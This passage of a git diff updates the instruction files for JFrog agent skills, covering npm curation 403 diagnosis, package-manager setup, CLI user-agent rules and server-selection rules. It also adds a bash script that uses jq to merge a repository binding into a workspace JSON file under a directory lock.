waiver applies); +**absent** from `versions[]` → likely CVS stopped after selecting its compliant +version(s) and never recorded this pin (Step 3), not "never evaluated". Conclude +per Step 4. + +### 403 on a version that `npm view` lists + +> `npm view` lists `axios@1.15.1`, but `npm install axios@1.15.1` fails with +> 403 "blocked by JFrog Packages Curation Service" (policy: CVE). User claim: +> "it's listed, so CVS approved it — why does download fail?" + +403 on a **resolvable** version → **DOWNLOAD-BLOCKED (Gate 2)**. The version +is already listed, so resolvability — and therefore existence, for this +purpose — is proven by the client's own successful listing; Step 1's +catalog/CVS existence check is for when resolvability itself is in question, +so it doesn't apply here. Then Gate 2 **alone**: +`jfs_curation_query_audit_events(package_type="npm", package_name="axios", package_version="1.15.1")` +returns the blocked download event with the policy and CVEs — that **is** the +root cause. If the user wants the remediation prose, add +`jfs_curation_get_audit_event_policies(event_id)`. + +Answer the misconception without a compliance call: a `npm view` listing is what +the client resolves against, **not** a per-version CVS approval — a locked/exact +pin to a non-compliant version is refused at download with no fallback (fetch the +CVS doc to cite this). You do **not** need `jfs_curation_check_remote_package_compliance` to +conclude this, and you should not query the CVS audit to "prove approval" — CVS +audit answering `all_versions_compliant` is a *different timeline and mechanism* +and will confuse the 403 RCA. Only if the user then asks "what should I install +instead?" and no allowed versions are already in hand does a compliance check (or +the client's own suggested-versions notice) earn its place. + +## Gotchas + +- **MCP tools only.** Never substitute a `jf` command or raw HTTP for any + `jfs_curation_*` call. If a curation tool specifically is unavailable while + other JFrog MCP tools work, that's a version/entitlement gap, not a + disconnected server — see Preflight. +- **Disjoint id-spaces / repo-name spelling.** CVS event ids go to + `jfs_curation_get_cvs_audit_version_detail`, package-audit ids to + `jfs_curation_get_audit_event_policies` (crossing them returns nothing). CVS uses + `curated_repo_name`; package audit uses `curated_repository_name`. +- **Don't over-attribute to curation.** The most common `ETARGET` cause is a + version that never existed, or a client-side config filter — always complete + Step 1 before blaming curation. diff --git a/skills/jfrog-reference-architecture/SKILL.md b/skills/jfrog-reference-architecture/SKILL.md index 394d000..b331b24 100644 --- a/skills/jfrog-reference-architecture/SKILL.md +++ b/skills/jfrog-reference-architecture/SKILL.md @@ -11,7 +11,7 @@ description: >- Do NOT use for artifact search or download, repository or permission admin, CVE or vulnerability lookups, live jf CLI operations against their instance, or package curation — use the jfrog base skill or - jfrog-package-safety-and-download instead. + jfrog-package-curation instead. compatibility: >- Requires outbound HTTPS (WebFetch or equivalent). Request full_network when the runtime blocks fetches. No jf CLI or configured JFrog instance required diff --git a/skills/jfrog-setup-package-managers/SKILL.md b/skills/jfrog-setup-package-managers/SKILL.md index 9115f01..fdab6e6 100644 --- a/skills/jfrog-setup-package-managers/SKILL.md +++ b/skills/jfrog-setup-package-managers/SKILL.md @@ -9,17 +9,50 @@ description: >- already has the same repo key. Never pick a repo by discovery; use resolver output only (unless the user names or asks to browse repos). On unresolved or failed setup, ask with the failure verbatim — never switch servers. + NOT for installing packages, general Artifactory repo operations (use the base + jfrog skill), or MCP server setup (use jfrog-mcp-management). metadata: role: workflow --- # JFrog — Setup Package Managers for Artifactory +In examples below, `` is this skill's directory (parent of +`scripts/` / `references/`). + Apply the session hook's repo pick via [`jf setup`](references/jf-setup-command.md), -then record it in [`.jfrog/local/package-resolution.json`](references/workspace-binding.md). +then record it in [`.jfrog/local/package-resolution.json`](references/workspace-binding.md) +via [`scripts/merge-workspace-binding.sh`](scripts/merge-workspace-binding.sh). `jf setup` writes package-manager-native config (`.npmrc`, `pip.conf`, `uv.toml`, …); the binding lets the hook re-apply on later sessions. +## At a glance (always-read core) + +Every `jf setup` this session: + +- **Cover base [`../jfrog/SKILL.md`](../jfrog/SKILL.md) At-a-glance / Tier A** + (Step 0.1) → ``, `--server-id` placement, single-server, stop-don't-switch. + Prefer full base SKILL.md when you can; Tier B (`cli-gotchas` / `jf-api` / …) + only if the next action needs `jf api` / advanced CLI +- **Always `--repo` + `--server-id`.** `` ← [Step 2](#step-2--get-the-resolved-repo) + (table / binding / global-cache) or user override / unresolved AskQuestion; + never self-discover. `` ← resolver only (never user-selected) +- **Confirm** before first `jf setup` unless user asked silent / non-interactive +- **Exit 0 → merge binding**; non-zero → stop, surface CLI verbatim, offer + alternate repo or `abort` (2-answer cap) +- **Binding = decisions, not creds** — never write tokens into + `.jfrog/local/package-resolution.json` +- **Unresolved / failed:** ask with failure verbatim — never switch servers +- **Never skip** [Gotchas](#gotchas--hard-rules-never-skip) + base Tier A hard + rules (`../jfrog/SKILL.md` Cautious execution / Server selection / Tier A + gotcha floor). Full `cli-gotchas.md` is Tier B — not required for `jf setup` + +Steps: [0](#step-0--read-the-base-skill-then-ensure-jf-is-ready) → +[1](#step-1--identify-package-managers-to-bind) → +[2](#step-2--get-the-resolved-repo) → +[3](#step-3--confirm-run-jf-setup-persist-binding) → +[4](#step-4--load-the-routing-policy) + ## Scope (this skill vs session hook) **Session-start hook:** resolves repo keys per package type, injects the @@ -28,7 +61,8 @@ renderer is available on demand via `modules/package-resolution/scripts/print-po notice embeds the exact command), so the policy can be loaded after setup. **This skill:** reads that output, runs `jf setup`, and persists the workspace -binding at `.jfrog/local/package-resolution.json` when package-manager config is still missing. +binding at `.jfrog/local/package-resolution.json` (via +`scripts/merge-workspace-binding.sh`) when package-manager config is still missing. **Honor the injected policy's governed scope.** The session policy lists the package managers it governs. Do **not** *proactively* onboard a package manager the policy @@ -42,11 +76,17 @@ unlisted package manager apply as usual). - `jf setup` **mutates user state** (`~/.npmrc`, `~/.docker/config.json`, …). Confirm before the first `jf setup` in a session unless the user explicitly requests silent/non-interactive setup. -- Reading [`../jfrog/SKILL.md`](../jfrog/SKILL.md) is required — done as Step 0.1 below. +- Covering base At-a-glance / Tier A is required — done as Step 0.1 below. **Out of scope:** CLI install/login (`../jfrog/references/…`). -## Gotchas +## Gotchas — hard rules (never skip) + +**Not tips.** Do/don'ts and known traps for `jf setup` — follow every bullet +before binding. Also honor base **Tier A** hard rules from +[`../jfrog/SKILL.md`](../jfrog/SKILL.md) (Cautious execution, Server selection, +Tier A gotcha floor). Full `cli-gotchas.md` is Tier B — load only if this +session also needs `jf api` / advanced CLI. - **Always pass `--repo` and `--server-id`** — omitting `--repo` fails when multiple repos match. See [`jf-setup-command.md`](references/jf-setup-command.md). @@ -57,6 +97,8 @@ unlisted package manager apply as usual). `//`. - **Binding holds decisions, not credentials** — never write tokens into `.jfrog/local/package-resolution.json`. +- **Persist binding with the merge script** — after each successful `jf setup`, + run `scripts/merge-workspace-binding.sh` (Step 6). Do **not** hand-edit the JSON. - **`gradle` ≠ `maven`.** Bind under `repositories.gradle`, never `repositories.maven`. - **Yarn / Poetry** — not APR zero-touch; bind only on explicit user ask (Step 1). @@ -66,15 +108,18 @@ unlisted package manager apply as usual). |------|--------------| | [`references/jf-setup-command.md`](references/jf-setup-command.md) | CLI flags, supported package managers, exit-code contract, `jf setup --help` | | [`references/global-cache-file.md`](references/global-cache-file.md) | Global cache shape, resolution classes, jq one-liners | -| [`references/workspace-binding.md`](references/workspace-binding.md) | Workspace binding schema, package-manager → type map, merge semantics | +| [`references/workspace-binding.md`](references/workspace-binding.md) | Workspace binding schema, package-manager → type map, merge script | +| [`scripts/merge-workspace-binding.sh`](scripts/merge-workspace-binding.sh) | After each successful `jf setup` — deterministic binding merge (`jq` required) | ## Step 0 — Read the base skill, then ensure `jf` is ready -1. **Read [`../jfrog/SKILL.md`](../jfrog/SKILL.md) fully first — always, before any - `jf` command, even when `jf` is already configured.** It carries the `jf` - invariants this skill relies on. After reading, run that skill's - *Environment check* (and export `JFROG_CLI_USER_AGENT`) before the first - `jf` call. +1. **Cover base skill At-a-glance / Tier A before the first non-exempt `jf` + (even when `jf` is already configured).** Prefer reading + [`../jfrog/SKILL.md`](../jfrog/SKILL.md) in full when you can; the At-a-glance + Tier A floor is enough for `jf setup` / package-manager binding. Load Tier B + (`cli-gotchas.md`, `jf-api.md`, …) only if the next action needs `jf api` / + advanced CLI. Then run that skill's *Environment check* (and export + `JFROG_CLI_USER_AGENT`) before the first `jf` call. 2. Ensure `jf` + a configured server (``). If `jf config show` already succeeds, skip to Step 1; otherwise: - **`jf --version`** missing → install per @@ -177,15 +222,20 @@ Cap at **2 answers per package manager**, then abort. User may override repo onl 5. **Exit code `0` = success** — merge binding (step 6). On non-zero, **stop**, surface CLI output verbatim, offer alternate repo or `abort` (2-answer cap). -6. On success, merge into `.jfrog/local/package-resolution.json` per - [`workspace-binding.md`](references/workspace-binding.md): +6. On success, **run the merge script** (do **not** hand-edit JSON). Pass the + IDE workspace root when the shell cwd is not that root: - ```json - { "repositories": { "": "" } } + ```bash + bash /scripts/merge-workspace-binding.sh \ + --package-manager \ + --repo \ + [--workspace-root ] ``` - Map package manager → type via the reference table (`gradle` → `gradle`). - Merge atomically. + Requires `jq` (same prerequisite as the base `jfrog` skill). Exit `0` prints + `merged into `. On non-zero, **stop**, surface stderr + verbatim — do not claim the binding was recorded. Schema and PM → type map: + [`workspace-binding.md`](references/workspace-binding.md). ## Step 4 — Load the routing policy @@ -198,3 +248,16 @@ hard rules. Continue the original request using those URLs. If the command prints nothing, routing is off by config (`packageResolution.enabled` is not `true`) — an admin opt-in. Report that to the user and let them decide whether to enable it. + +## Before you run `jf setup` — checklist + +[At a glance](#at-a-glance-always-read-core) invariants: + +- [ ] base At-a-glance / Tier A covered; `` exported +- [ ] `` ← Step 2 or user override; `` ← resolver only +- [ ] confirmed (or explicit silent-setup) +- [ ] `jf setup --server-id --repo ` +- [ ] exit 0 → merge binding (no creds); non-zero → stop + report verbatim; + never switch servers +- [ ] **never skip** Gotchas (this skill) + base Tier A hard rules (full + `cli-gotchas.md` only if Tier B path) diff --git a/skills/jfrog-setup-package-managers/references/workspace-binding.md b/skills/jfrog-setup-package-managers/references/workspace-binding.md index 24f135c..66e0af0 100644 --- a/skills/jfrog-setup-package-managers/references/workspace-binding.md +++ b/skills/jfrog-setup-package-managers/references/workspace-binding.md @@ -71,14 +71,26 @@ to-bind set, map it to a package type and compare ### 2. Write / merge -After each successful `jf setup`: +After each successful `jf setup`, run the skill script (do **not** hand-edit +JSON): + +```bash +bash /scripts/merge-workspace-binding.sh \ + --package-manager \ + --repo \ + [--workspace-root ] +``` -1. Read the current file (treat ENOENT as `{ "repositories": {} }`). -2. Set `repositories[] = ` using the package-manager → type table above. -3. Atomically write `{ "repositories": { ... } }` — preserve other package - types already in the map. +The script: -JSON must use 2-space indent. +1. Maps `--package-manager` → package type using the table above (unknown PM → exit 1). +2. Validates `--repo` (`^[A-Za-z0-9._-]+$`). +3. Reads the current file (ENOENT → empty `repositories`). +4. Sets `repositories[] = `, preserve other package types, **last write wins** for the same type. +5. Writes `{ "repositories": { ... } }` only (drops other top-level keys), 2-space indent, atomic replace via `mktemp` + `mv`. +6. Serializes concurrent merges with a workspace **directory** lock (`package-resolution.lock.d`; symlink-safe; reclaim when owner PID is dead on this host or the owner hostname differs; owner-less lock dirs are **not** reclaimed — `mkdir` is the mutex; reclaimers take an exclusive side-gate so a late reclaim cannot delete a newly acquired lock). +7. On corrupt/invalid existing JSON → exit 1 and **leaves the file untouched**. +8. Requires `jq`; if missing → exit 1. ### 3. Never write @@ -90,7 +102,7 @@ JSON must use 2-space indent. | Consumer | What it reads | |---|---| | Session-start hook | `repositories` — first workspace root with this file (multi-root) | -| This skill | Round-trip load → diff → confirm → write | +| This skill | Round-trip load → diff → confirm → `merge-workspace-binding.sh` | | `opencode-jfrog-plugin` | **Not updated** — out of scope until it reads this file | Changing the `repositories` key semantics is a breaking change; coordinate diff --git a/skills/jfrog-setup-package-managers/scripts/merge-workspace-binding.sh b/skills/jfrog-setup-package-managers/scripts/merge-workspace-binding.sh new file mode 100755 index 0000000..b4ef837 --- /dev/null +++ b/skills/jfrog-setup-package-managers/scripts/merge-workspace-binding.sh @@ -0,0 +1,346 @@ +#!/usr/bin/env bash +# merge-workspace-binding.sh — Persist a workspace binding after `jf setup` +# +# Merges one package-manager → Artifactory package-type → repo key into +# /.jfrog/local/package-resolution.json. +# Keep the PM→type map in sync with references/workspace-binding.md. +# +# Usage: +# bash merge-workspace-binding.sh \ +# --package-manager --repo [--workspace-root ] +# +# Exit codes: +# 0 — Merged; stdout one-line confirmation +# 1 — Usage, missing jq, unknown PM, unsafe repo, I/O, or invalid existing JSON +# +# On invalid/corrupt existing JSON the file is left untouched (fail closed). +# The merge (validate → read → write → replace) is serialized per workspace +# via a mkdir-based directory lock (symlink-safe). mkdir is the mutex; +# owner-less dirs are never reclaimed (a crash between mkdir and the owner +# write fails closed at the retry cap). Dead-PID and foreign-hostname locks +# are reclaimed. Reclaim is serialized through a side-gate directory so a +# late reclaimer cannot delete a newly acquired lock. + +set -euo pipefail + +usage() { + cat >&2 <<'USAGE' +Usage: bash merge-workspace-binding.sh --package-manager --repo [--workspace-root ] + +Merge repositories.= into +/.jfrog/local/package-resolution.json (default workspace-root: cwd). +USAGE +} + +PACKAGE_MANAGER="" +REPO_KEY="" +WORKSPACE_ROOT="" + +while [[ $# -gt 0 ]]; do + case "$1" in + --package-manager) + [[ $# -ge 2 ]] || { usage; exit 1; } + PACKAGE_MANAGER="$2" + shift 2 + ;; + --repo) + [[ $# -ge 2 ]] || { usage; exit 1; } + REPO_KEY="$2" + shift 2 + ;; + --workspace-root) + [[ $# -ge 2 ]] || { usage; exit 1; } + WORKSPACE_ROOT="$2" + shift 2 + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "ERROR: unknown argument: $1" >&2 + usage + exit 1 + ;; + esac +done + +if [[ -z "$PACKAGE_MANAGER" || -z "$REPO_KEY" ]]; then + usage + exit 1 +fi + +if [[ -z "$WORKSPACE_ROOT" ]]; then + WORKSPACE_ROOT="$(pwd)" +fi + +if ! command -v jq &>/dev/null; then + echo "ERROR: jq is not installed" >&2 + exit 1 +fi + +# PM → Artifactory package type (see references/workspace-binding.md) +package_type_for_pm() { + case "$1" in + npm|pnpm|yarn) echo "npm" ;; + pip|pipenv|uv|twine|poetry) echo "pypi" ;; + maven) echo "maven" ;; + gradle) echo "gradle" ;; + go) echo "go" ;; + docker|podman) echo "docker" ;; + helm) echo "helm" ;; + nuget|dotnet) echo "nuget" ;; + *) return 1 ;; + esac +} + +PKG_TYPE="$(package_type_for_pm "$PACKAGE_MANAGER")" || { + echo "ERROR: unknown package manager: $PACKAGE_MANAGER (no Artifactory package-type mapping)" >&2 + exit 1 +} + +# Same charset as APR hooks isSafeRepoKey +if [[ ! "$REPO_KEY" =~ ^[A-Za-z0-9._-]+$ ]]; then + echo "ERROR: unsafe repo key: $REPO_KEY (allowed: A-Za-z0-9._-)" >&2 + exit 1 +fi + +LOCAL_DIR="$WORKSPACE_ROOT/.jfrog/local" +TARGET="$LOCAL_DIR/package-resolution.json" +# Directory lock only — never open/truncate a lock *file* (symlink → data loss). +LOCK_DIR="$LOCAL_DIR/package-resolution.lock.d" +LOCK_OWNER="$LOCK_DIR/owner" +# Exclusive gate among reclaimers — prevents TOCTOU where a late reclaimer +# deletes a lock that another process acquired after the first reclaim. +RECLAIM_GATE="$LOCAL_DIR/package-resolution.lock.reclaiming" +TMP="" +LOCK_HELD=0 + +# Stale reclaim gate left after a crashed reclaimer (seconds). +RECLAIM_GATE_STALE_SECS=5 + +lock_hostname() { + hostname 2>/dev/null || echo unknown +} + +pid_alive() { + local pid="$1" + [[ "$pid" =~ ^[1-9][0-9]*$ ]] || return 1 + kill -0 "$pid" 2>/dev/null +} + +# Seconds since path mtime. +# Try GNU/BusyBox `stat -c %Y` first, then BSD `stat -f %m`. +# Never lead with GNU `stat -f` (--file-system): it can emit multi-line +# stdout while failing, which poisons `a || b` command substitution on Linux. +path_age_secs() { + local path="$1" mtime now + if mtime="$(stat -c %Y "$path" 2>/dev/null)" && [[ "$mtime" =~ ^[0-9]+$ ]]; then + : + elif mtime="$(stat -f %m "$path" 2>/dev/null)" && [[ "$mtime" =~ ^[0-9]+$ ]]; then + : + else + return 1 + fi + now="$(date +%s)" + echo $((now - mtime)) +} + +# True when LOCK_OWNER names a live holder on this host (do not reclaim). +# Foreign hostname: not live. kill -0 is meaningless across PID namespaces, +# and treating mismatch as live permanently blocks merges after host rename +# or a crashed remote holder. Multi-host NFS sharing of one workspace is +# unsupported — reclaim proceeds so local binding merges can recover. +owner_is_live() { + local pid host me + [[ -f "$LOCK_OWNER" && ! -L "$LOCK_OWNER" ]] || return 1 + pid="$(sed -n 's/^pid=//p' "$LOCK_OWNER" 2>/dev/null | head -1 | tr -d "[:space:]")" + host="$(sed -n 's/^hostname=//p' "$LOCK_OWNER" 2>/dev/null | head -1 | tr -d "[:space:]")" + me="$(lock_hostname)" + if [[ -n "$host" && -n "$me" && "$host" != "$me" ]]; then + return 1 + fi + pid_alive "$pid" +} + +# True when LOCK_DIR is a real directory that looks reclaimable right now. +# Owner-less dirs are never reclaimable: mkdir is the mutex, and a time-based +# grace cannot close the mkdir→owner-write window for a live holder. +lock_looks_stale() { + if [[ -L "$LOCK_DIR" ]]; then + return 1 + fi + if [[ ! -d "$LOCK_DIR" ]]; then + return 1 + fi + if [[ -f "$LOCK_OWNER" && ! -L "$LOCK_OWNER" ]]; then + if owner_is_live; then + return 1 + fi + return 0 + fi + return 1 +} + +try_reclaim_stale_gate() { + local age + if [[ -L "$RECLAIM_GATE" ]]; then + return 1 + fi + if [[ ! -d "$RECLAIM_GATE" ]]; then + return 1 + fi + # Gate must be empty (reclaimer holds it only via mkdir). + age="$(path_age_secs "$RECLAIM_GATE")" || return 1 + if ((age < RECLAIM_GATE_STALE_SECS)); then + return 1 + fi + rmdir "$RECLAIM_GATE" 2>/dev/null +} + +# Reclaim LOCK_DIR only when it is a real directory (not a symlink) and the +# owner names a dead PID on this host or a foreign hostname. Owner-less dirs +# are not reclaimed (crash between mkdir and owner write fails closed). +# Serialization: only one reclaimer holds RECLAIM_GATE. Under the gate we +# re-check staleness, then rename LOCK_DIR aside and delete it. A contender +# that acquired a fresh lock after another reclaim cannot be deleted by a +# late reclaimer (they either fail the gate or fail the post-gate stale check). +try_reclaim_stale_lock() { + local reclaim_path owner_snap + + if ! lock_looks_stale; then + return 1 + fi + + if ! mkdir "$RECLAIM_GATE" 2>/dev/null; then + try_reclaim_stale_gate || true + return 1 + fi + + if ! lock_looks_stale; then + rmdir "$RECLAIM_GATE" 2>/dev/null || true + return 1 + fi + + # Snapshot owner (if any) so we only move the instance we inspected. + owner_snap="" + if [[ -f "$LOCK_OWNER" && ! -L "$LOCK_OWNER" ]]; then + owner_snap="$(cat "$LOCK_OWNER" 2>/dev/null || true)" + if owner_is_live; then + rmdir "$RECLAIM_GATE" 2>/dev/null || true + return 1 + fi + if [[ "$(cat "$LOCK_OWNER" 2>/dev/null || true)" != "$owner_snap" ]]; then + rmdir "$RECLAIM_GATE" 2>/dev/null || true + return 1 + fi + else + # Missing or unexpected owner path — do not reclaim owner-less dirs. + rmdir "$RECLAIM_GATE" 2>/dev/null || true + return 1 + fi + if [[ -z "$owner_snap" ]]; then + rmdir "$RECLAIM_GATE" 2>/dev/null || true + return 1 + fi + + reclaim_path="${LOCK_DIR}.reclaim.$$" + if ! mv "$LOCK_DIR" "$reclaim_path" 2>/dev/null; then + rmdir "$RECLAIM_GATE" 2>/dev/null || true + return 1 + fi + rm -rf "$reclaim_path" + rmdir "$RECLAIM_GATE" 2>/dev/null || true + return 0 +} + +release_lock() { + if [[ "$LOCK_HELD" -ne 1 ]]; then + return 0 + fi + if [[ -L "$LOCK_DIR" ]]; then + LOCK_HELD=0 + return 0 + fi + if [[ -d "$LOCK_DIR" ]]; then + rm -f "$LOCK_OWNER" 2>/dev/null || true + rmdir "$LOCK_DIR" 2>/dev/null || true + fi + LOCK_HELD=0 +} + +cleanup() { + if [[ -n "${TMP:-}" && -e "$TMP" ]]; then + rm -f "$TMP" + fi + release_lock +} +trap cleanup EXIT + +mkdir -p "$LOCAL_DIR" + +# Exclusive lock for the whole validate → read → merge → replace transaction. +# mkdir is atomic and does not follow a pre-planted symlink at LOCK_DIR +# (mkdir fails with EEXIST / ENOTDIR instead of truncating a target). +# mkdir is the mutex — owner is published after acquire for dead-PID / +# foreign-hostname reclaim only. Owner-less dirs are not reclaimed. +attempts=0 +until mkdir "$LOCK_DIR" 2>/dev/null; do + if try_reclaim_stale_lock; then + continue + fi + attempts=$((attempts + 1)) + if ((attempts > 200)); then + echo "ERROR: could not acquire workspace binding lock: $LOCK_DIR" >&2 + exit 1 + fi + sleep 0.05 +done +# Record owner so crash recovery can tell live holders from zombies. +printf "pid=%s\nhostname=%s\n" "$$" "$(lock_hostname)" >"$LOCK_OWNER" +LOCK_HELD=1 + +# Temp file: unpredictable name, restrictive mode (symlink-safe under LOCAL_DIR). +umask 077 +TMP="$(mktemp "${LOCAL_DIR}/package-resolution.json.XXXXXX")" + +# Re-validate and re-read TARGET under the lock (another merger may have just finished). +if [[ -e "$TARGET" ]]; then + if ! jq -e 'type == "object"' "$TARGET" >/dev/null 2>&1; then + echo "ERROR: invalid workspace binding JSON (not an object): $TARGET" >&2 + exit 1 + fi + if ! jq -e ' + if has("repositories") then (.repositories | type == "object") else true end + ' "$TARGET" >/dev/null 2>&1; then + echo "ERROR: invalid workspace binding: repositories must be an object: $TARGET" >&2 + exit 1 + fi + if ! jq -n \ + --slurpfile cur "$TARGET" \ + --arg type "$PKG_TYPE" \ + --arg repo "$REPO_KEY" \ + ' + ($cur[0].repositories // {}) as $repos + | { repositories: ($repos + { ($type): $repo }) } + ' >"$TMP"; then + echo "ERROR: failed to merge workspace binding: $TARGET" >&2 + exit 1 + fi +else + if ! jq -n \ + --arg type "$PKG_TYPE" \ + --arg repo "$REPO_KEY" \ + '{ repositories: { ($type): $repo } }' >"$TMP"; then + echo "ERROR: failed to create workspace binding" >&2 + exit 1 + fi +fi + +if ! mv "$TMP" "$TARGET"; then + echo "ERROR: failed to write workspace binding: $TARGET" >&2 + exit 1 +fi +TMP="" # moved; do not rm in cleanup + +echo "merged $PKG_TYPE → $REPO_KEY into $TARGET" diff --git a/skills/jfrog/SKILL.md b/skills/jfrog/SKILL.md index d1d1702..460d111 100644 --- a/skills/jfrog/SKILL.md +++ b/skills/jfrog/SKILL.md @@ -15,21 +15,81 @@ description: >- advanced security, exposures, or any JFrog product name. Do NOT use this skill to install, add, remove, list, or manage MCP servers. compatibility: >- - Requires jq on PATH. + Requires bash, jq, and awk on PATH. The JFrog CLI (jf) is required for Tier 2 + (CLI) and Tier 3 (jf api) operations; without it, only MCP (Tier 1) is available. metadata: role: base - version: "0.22.0" + version: "0.31.1" --- # JFrog Skill The foundational skill for all JFrog agent interactions. Covers JFrog Platform concepts, `jf` CLI setup and authentication, and intent routing to workflow skills. +## At a glance (always-read core) + +Network-facing `jf` this session. Exempt until ``: `jf --version`, +`jf config show`. + +**Tier A — always-read floor** (before first *non-exempt* `jf`): + +- **UA:** [Environment check](#environment-check) once → on exit 0/1, export + its **exact stdout line** as `JFROG_CLI_USER_AGENT` atop every bash that + runs `jf` (never invent / rebuild the UA) +- **CLI offer:** after [Environment check](#environment-check) exit 0/1 + (skip `jfrog-init` / MCP-only). `NEWER_AVAILABLE` → stop, Yes/No; SKIP/No → silent +- **Server:** resolve default once → `--server-id ` **after** subcommand + (`jf api --server-id …`, never `jf --server-id … api`). One request → one + server (unless user names servers, e.g. `compare and `) +- **Error (401/403/404/timeout):** stop — never retry another server / never + infer multi-server. Override only if user names a server +- **No prep mutations:** missing repo/artifact/build → stop + report; no + create/copy/move/upload to fill the gap (workaround ask ≠ permission) +- **Never guess** tools / `jf api` paths → tool list / `--help` / `references/`. + 404 → stop (no guessed retry). `jf api` needs product prefix + (`/artifactory`, `/xray`, …) +- **Hard-rule signals:** [Cautious execution](#cautious-execution), + [Server selection rules](#server-selection-rules-mandatory), + [Gotchas](#gotchas--hard-rules-never-skip) Tier A bullets below — not tips +- **Gotcha floor (Tier A):** never interactive (`jf config add`, `jf login`, + template wizards, …); if a call fails **with** `--server-id`, do **not** + retry without it; 401/403/404/timeout → stop, never hop servers; `--quiet` + is not global — check `--help` before adding it + +**Tier B — path-gated MUST** (before `jf api` / AQL / advanced CLI I/O / +MCP-result-via-shell anti-patterns): full +[`references/cli-gotchas.md`](references/cli-gotchas.md), +[`references/jf-api.md`](references/jf-api.md), +[`references/preserving-command-output.md`](references/preserving-command-output.md), +[`references/cli-command-discovery.md`](references/cli-command-discovery.md). +Setup / `jf setup` / ordinary CLI do **not** require Tier B. + +**Tier C — on-demand:** [`references/INDEX.md`](references/INDEX.md) domain +refs; login / CLI install when needed. + +Contents (prefer full SKILL.md; At a glance = Tier A floor if you only see the +top): + +| Section | Topic | +|---------|-------| +| [Tool selection strategy](#tool-selection-strategy) | MCP vs CLI vs `jf api` | +| [Prerequisites](#prerequisites), [Environment check](#environment-check) | before first non-exempt `jf` | +| [Cautious execution](#cautious-execution), [Server selection rules](#server-selection-rules-mandatory) | **Tier A hard rules** | +| [Gotchas — hard rules](#gotchas--hard-rules-never-skip) | Tier A reminders; full `cli-gotchas.md` = **Tier B** | +| [Path-gated base references](#path-gated-base-references-must-before-jf-api--advanced-cli) | **Tier B MUST** before `jf api` / advanced CLI | +| [When to read reference files](#when-to-read-reference-files) → [`references/INDEX.md`](references/INDEX.md) | Tier C domain refs | +| [Command discovery](#command-discovery) / [jf api](#invoking-platform-apis-with-jf-api) | Tier B when those paths apply | +| [Structured inputs](#structured-inputs) / [Batch](#batch-and-parallel-execution) / [Preserving output](#preserving-command-output) | templates / parallel / temp files | + +> **Floor for partial reads:** Tier A (this section) before first non-exempt +> `jf`. Prefer the full SKILL.md when you can. Load **Tier B** only when the +> next action needs `jf api` / AQL / advanced CLI I/O (checklist). Domain +> detail → Tier C [`references/INDEX.md`](references/INDEX.md). + Interact with the JFrog Platform through three tool tiers — see -[Tool selection strategy](#tool-selection-strategy). In code examples below, -`` refers to this skill's directory and is resolved automatically -by the agent. If the agent does not resolve it, determine the path by locating -this SKILL.md file and using its parent directory. +[Tool selection strategy](#tool-selection-strategy). In code examples, +`` is this skill's directory, resolved automatically by the agent. +If unresolved, locate this SKILL.md file and use its parent directory. > **Out of scope: MCP server management.** Installing, listing, removing, or > configuring MCP servers (e.g. "install an MCP", "what MCPs can I install", @@ -51,8 +111,8 @@ cover the operation or fails: subcommand. Validate the path first — see rule 6 in [Cautious execution](#cautious-execution). -MCP and the CLI may use different token scopes. If one tier returns 403, -try the alternate tier before reporting the operation blocked. +MCP and CLI may use different token scopes. One tier returns 403 → try the +other tier before reporting the operation blocked. ## Prerequisites @@ -82,23 +142,52 @@ thing to check — re-run with the appropriate escalation above. ## Environment check -MCP (Tier 1) operations do not require this check and can proceed immediately. -Before your first Tier 2 or Tier 3 (`jf`) operation in a session, run the -environment check and **remember its stdout** as `` for the rest of the -session: +MCP (Tier 1) skips this check — proceed immediately. Before your first Tier 2 +or Tier 3 (`jf`) operation this session, run the environment check. On exit +0/1, **remember its stdout line verbatim** as `` for the rest of the +session. Skip the CLI offer during `jfrog-init`. ```bash bash /scripts/check-environment.sh -# stdout (one line): jfrog-skills/ [(tool=; model=)] jfrog-cli-go/ +# exit 0/1 stdout: exactly one opaque line — that line IS . Copy it byte-for-byte. +# Do not parse, rebuild, or approximate the export value from this comment. # stderr: JSON state (cached 24h at ${JFROG_CLI_HOME_DIR:-$HOME/.jfrog}/skills-cache/jfrog-skill-state.json) ``` +Then, on exit 0/1 only: + +```bash +bash /scripts/cli-newer-version-offer.sh +# SKIP → continue the original task; do not mention the offer. +# NEWER_AVAILABLE (suggest_upgrade) → stop; Yes / No. After: +# bash /scripts/cli-newer-version-offer.sh --clear +# Yes → references/jfrog-cli-install-upgrade.md, then check-environment.sh --force +# (Tier 2/3 only on exit 0/1). No → silent. Next offer = next new latest. +``` + +Exit 2/3 produces no ``; follow the exit table below and do not proceed to +Tier 2 or 3. + Pass your own model slug, lowercased, with version (e.g. `opus-4.7`, `gpt-5.6-sol`, `gemini-2.5-pro`, `composer-2-fast`). Examples, not an allowlist — emit a new/unlisted name verbatim, not `unknown`. Not harness/role (`subagent`, `agent`) or bare family (`claude`, `gpt`); subagents inherit the parent's slug. `unknown` only if truly unidentifiable. +### Never invent `JFROG_CLI_USER_AGENT` + +On exit 0/1, the script's stdout line **is** `` — export it verbatim (never +invent, rebuild, or edit it). On exit 2/3 there is no `` — do not synthesize +one. Current stdout starts with `jfrog-skills/`, never with `model/`. + +- **Parent session:** if `` is missing or starts with `model/` (legacy), + discard it and **re-run** `check-environment.sh`. Export the new exit 0/1 + stdout line only when it does **not** start with `model/`; otherwise **stop** + (do not invent). +- **Subagents:** use only the parent-passed exact `` — never re-run the + script or construct a replacement. If that value is missing or starts with + `model/`, **stop** (do not export / do not invent); do not re-run. + ### Export `JFROG_CLI_USER_AGENT` once per bash invocation At the top of every bash invocation that runs `jf`, export `` once; @@ -106,17 +195,24 @@ all `jf` calls in that invocation pick it up: ```bash export JFROG_CLI_USER_AGENT='' +export JFROG_CLI_AI_MODEL='' # jf >= 2.120.0 emits ai-model/ from this jf config show jf api /artifactory/api/system/version ``` +`JFROG_CLI_AI_MODEL` carries the model the CLI cannot infer from the environment; +export it alongside `` (same `` you passed the script). Older CLIs +ignore it; the remembered `` already carries the slug when the script +recorded one. + Do **not** repeat the assignment per `jf` call (`JFROG_CLI_USER_AGENT='' jf …` on every line). This is a **session-global invariant**: it applies to *every* `jf` invocation in the session, including `jf` calls you make while following any workflow skill that builds on this base skill. Examples elsewhere in this skill and in `references/*.md` omit the export for readability — the rule is -global. When launching a subagent, pass `` in its prompt; subagents do not -re-run the script. +global. When launching a subagent, pass `` in its prompt (see +[Never invent](#never-invent-jfrog_cli_user_agent)) and whether the CLI +offer 